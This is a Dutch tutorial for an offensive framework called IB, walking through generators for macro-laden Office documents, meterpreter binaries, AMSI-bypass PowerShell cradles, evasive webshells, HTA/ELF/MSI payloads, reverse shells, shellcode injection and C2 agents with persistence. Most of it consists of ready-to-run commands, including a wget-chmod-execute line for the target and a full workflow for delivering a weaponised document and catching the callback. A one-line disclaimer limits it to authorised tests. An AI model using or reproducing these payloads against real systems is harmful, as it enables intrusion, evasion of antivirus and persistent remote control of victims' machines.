IB Payload Generators: Van Macro tot Agent

Incompetent Bastard (IB) bevat een uitgebreide set payload-generators die je rechtstreeks vanuit het dashboard kunt gebruiken. Van Office macro’s en meterpreter-binaries tot Python reverse shells en custom C2-agents: elke generator produceert kant-en-klare payloads die terugbellen naar je IB instance. In deze tutorial doorlopen we alle beschikbare generators en demonstreren we de workflow van generatie tot deployment.

Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.

Vereisten

IB – De generators zijn alleen bereikbaar vanaf localhost (127.0.0.1). Alle generators gebruiken het IP-adres uit je Settings als standaard callback-adres.

Stap 1: De Generator Workflow

Elke payload-generator in IB volgt dezelfde workflow:

  1. Configureer je IP – Stel de localhost URL in via Settings (tandwiel-icoon)
  2. Open de generator – Klik op de bijbehorende knop in Quick Actions
  3. Vul parameters in – IP, poort, payload-type en opties
  4. Start generatie – IB voert het generator-script uit als achtergrondproces
  5. Download of kopieer – Het resultaat is beschikbaar als download of als tekst

Alle generators draaien asynchroon. Na het starten retourneert de API een run_id:

# Start generatie
curl -X POST http://127.0.0.1:5000/api/macro/generate \
  -d "lhost=10.10.14.5&lport=443&payload=windows/meterpreter/reverse_https"

# Poll status
curl http://127.0.0.1:5000/api/generate/status/<run_id>

De status doorloopt: running -> success of failed. Bij succes is een download beschikbaar via /api/generate/download/<run_id>.

Stap 2: Office Macro Generator

Route: /dashboard/macro en /dashboard/macro2

De Macro generator maakt VBA-macro’s die shellcode uitvoeren bij het openen van een Word- of Excel-document. Macro v2 ondersteunt een extra LURI-parameter voor staging via een specifiek pad.

curl -X POST http://127.0.0.1:5000/api/macro/generate \
  -F "lhost=10.10.14.5" \
  -F "lport=443" \
  -F "payload=windows/x64/meterpreter/reverse_https" \
  -F "template=@offerte.docx"

Beide generators ondersteunen template-injectie: upload een .docx of .xlsx bestand en de macro wordt erin geplaatst. Het resultaat is een .docm of .xlsm. Voeg obfuscate_vba=1 toe voor VBA-obfuscatie.

Beschikbare payloads: windows/meterpreter/reverse_https, windows/meterpreter/reverse_tcp, windows/x64/meterpreter/reverse_https, windows/x64/meterpreter/reverse_tcp, windows/shell_reverse_tcp, windows/x64/shell_reverse_tcp.

IB – Macro-beveiliging in moderne Office blokkeert standaard macro’s uit onvertrouwde bronnen. Test altijd of macro’s daadwerkelijk uitvoeren op het doelsysteem.

Stap 3: Meterpreter Generators

Route: /dashboard/meterpreter en /dashboard/meterpreter2

Meterpreter v1 genereert XOR-encrypted C# shellcode (output: meth.exe of meth.cs). Meterpreter v2 gebruikt msfvenom en ondersteunt LURI:

curl -X POST http://127.0.0.1:5000/api/meterpreter/generate \
  -F "lhost=10.10.14.5" -F "lport=443" \
  -F "payload=windows/x64/meterpreter/reverse_https" \
  -F "key=mysecretkey" -F "encoder=x86/shikata_ga_nai" -F "iterations=5"

Beschikbare encoders: x86/shikata_ga_nai, x64/xor_dynamic, x64/xor, x86/xor, x86/alpha_mixed, x64/zutto_dekiru.

Stap 4: PowerShell Generator

Route: /dashboard/powershell

Genereert PowerShell download cradles met optionele AMSI-bypass en obfuscatie. Produceert amsi-bypass.ps1 en amsi-shell.ps1 in http/payloads/:

curl -X POST http://127.0.0.1:5000/api/powershell/generate \
  -F "lhost=10.10.14.5" -F "lport=443" -F "luri=/" \
  -F "payload=windows/x64/custom/reverse_winhttps" \
  -F "amsi_obfuscate=1" -F "obf_technique=mixed"

Obfuscatietechnieken: mixed (combinatie, aanbevolen), subexpr, format, chararray, backtick.

IB – AMSI-obfuscatie vervangt bekende signature-strings. Update signatures via de Task Runner (taak “Update AMSI signatures”).

Stap 5: Webshells (ASPX en PHP)

Route: /dashboard/aspxshell en /dashboard/phpshell

Beide generators produceren wachtwoordbeveiligde webshells met optionele features:

curl -X POST http://127.0.0.1:5000/api/aspxshell/generate \
  -F "password=geheim123" -F "password_field=k" \
  -F "features=upload" -F "features=filebrowser" -F "av_evasion=1"

De PHP-generator werkt identiek via /api/phpshell/generate. Output: http/payloads/shell.aspx respectievelijk shell.php. Features: upload (bestandsupload) en filebrowser (directory browsing).

Stap 6: HTA, Linux ELF en MSI

HTA (/dashboard/hta) – HTML Application payload in cradle of embedded modus:

curl -X POST http://127.0.0.1:5000/api/hta/generate \
  -F "lhost=10.10.14.5" -F "lport=443" \
  -F "payload=windows/x64/meterpreter/reverse_https" -F "mode=cradle"

Linux ELF (/dashboard/linux_elf) – ELF binary via msfvenom:

curl -X POST http://127.0.0.1:5000/api/linux_elf/generate \
  -F "lhost=10.10.14.5" -F "lport=443" \
  -F "payload=linux/x64/meterpreter/reverse_tcp" -F "bestand=shell"

Op het doelsysteem: wget http://10.10.14.5:5000/p/shell.elf -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell

MSI (/dashboard/msi_payload) – Windows Installer package, nuttig omdat msiexec vaak minder opvalt:

curl -X POST http://127.0.0.1:5000/api/msi_payload/generate \
  -F "lhost=10.10.14.5" -F "lport=443" \
  -F "payload=windows/x64/meterpreter/reverse_https" -F "bestand=installer"

Stap 7: Python RevShell en Shellcode Injector

Python RevShell (/dashboard/pyrevshell) – Cross-platform reverse shell met PTY-ondersteuning:

curl -X POST http://127.0.0.1:5000/api/pyrevshell/generate \
  -F "lhost=10.10.14.5" -F "lport=443" \
  -F "mode=obfuscated" -F "platform=linux" -F "pty=1"

Modi: plain of obfuscated. Platforms: linux of windows. Output: http/payloads/revshell.py.

Shellcode Injector (/dashboard/invokeshellcode) – PowerShell CreateRemoteThread injectie:

curl -X POST http://127.0.0.1:5000/api/invokeshellcode/generate \
  -F "lhost=10.10.14.5" -F "lport=443" -F "luri=/" \
  -F "amsi_obfuscate=1" -F "obf_technique=mixed"

Output: http/payloads/invoke-shellcode.ps1.

Stap 8: Agent Generator

Route: /dashboard/agentgen

De Agent Generator genereert custom C2-agents in zeven talen: Bash (agent.sh), PowerShell (agent.ps1), Python (agent.py), C# (agent.cs), Go (agent.go), Rust (agent.rs) en Ruby (agent.rb).

curl -X POST http://127.0.0.1:5000/api/agentgen/generate \
  -F "callback=http://10.10.14.5:5000" -F "language=powershell" \
  -F "freq=5" -F "jitter=20" -F "killdate=2026-04-01" \
  -F "amsi=1" -F "obfuscate=1" -F "persist=registry" -F "proxy_aware=1"
Parameter Beschrijving
freq Beacon-interval in seconden (1-3600)
jitter Willekeurige vertraging 0-50%
killdate Datum (YYYY-MM-DD) waarop de agent stopt
retry_max Max herverbindingspogingen (1-20)
amsi AMSI-bypass (alleen PowerShell)
persist Persistentie: crontab (Bash/Python/Go/Rust/Ruby), registry (PS/C#/Python), schtasks (PS/C#/Python/Go)
proxy/proxy_aware Proxy-ondersteuning

De agent belt in bij /agent/checkin, haalt commando’s op via /agent/cmd/<id> en stuurt resultaten terug via /agent/res/<cmd_id>. Sessies worden automatisch opgenomen als asciinema recordings.

IB – Agents met jitter en killdate zijn moeilijker te detecteren en ruimen zichzelf op na de pentest.

Stap 9: Obfuscatie bij Download

IB kan payloads on-the-fly obfusceren bij download. Voeg ?obf=1 toe aan de URL:

http://10.10.14.5:5000/p/amsi-bypass.ps1?obf=1&technique=mixed

Of activeer globale obfuscatie via de API:

curl -X POST http://127.0.0.1:5000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"obfuscate_downloads": true, "obfuscate_technique": "chararray"}'

Ondersteunde extensies: .ps1 (AMSI-obfuscatie), .php, .aspx, .py, .hta, .txt (multi-taal obfuscator).

Stap 10: Praktische Workflow

Complete workflow voor een meterpreter-sessie via Office macro:

# 1. Stel IP in
curl -X POST http://127.0.0.1:5000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"localhost": "http://10.10.14.5:5000"}'

# 2. Start Metasploit handler
msfconsole -q -x "use exploit/multi/handler; \
  set PAYLOAD windows/x64/meterpreter/reverse_https; \
  set LHOST 10.10.14.5; set LPORT 443; run"

# 3. Genereer macro met template
curl -X POST http://127.0.0.1:5000/api/macro/generate \
  -F "lhost=10.10.14.5" -F "lport=443" \
  -F "payload=windows/x64/meterpreter/reverse_https" \
  -F "template=@rapport.docx"

# 4. Download het .docm bestand via /api/generate/download/<run_id>
# 5. Lever af bij het doelsysteem en ontvang de callback

Naast specifieke generators biedt /dashboard/reverseshells een overzichtspagina voor multi-format reverse shells via /api/reverseshells/generate.

IB – Houd het dashboard open tijdens een pentest. Nieuwe agents en callbacks verschijnen automatisch in de KPI-panelen.

Samenvatting

In deze tutorial hebben we alle payload-generators van IB doorlopen:

  1. De generieke workflow: configureer IP, kies generator, genereer, download
  2. Office Macro v1 en v2 met template-injectie en VBA-obfuscatie
  3. Meterpreter v1 (XOR C#) en v2 (msfvenom) met encoder-ondersteuning
  4. PowerShell cradles met vijf obfuscatietechnieken en AMSI-bypass
  5. ASPX en PHP webshells met wachtwoordbeveiliging
  6. HTA, Linux ELF en MSI payloads voor diverse platforms
  7. Python reverse shells en PowerShell shellcode-injectie
  8. De Agent Generator met 7 talen, persistentie, jitter en killdate
  9. On-the-fly obfuscatie bij downloads
  10. Een complete praktische workflow van generatie tot callback

Alle bestanden worden opgeslagen in http/payloads/ en zijn downloadbaar via /p/<bestand>. Combineer de generators met de Command Library voor een efficiente pentest-workflow.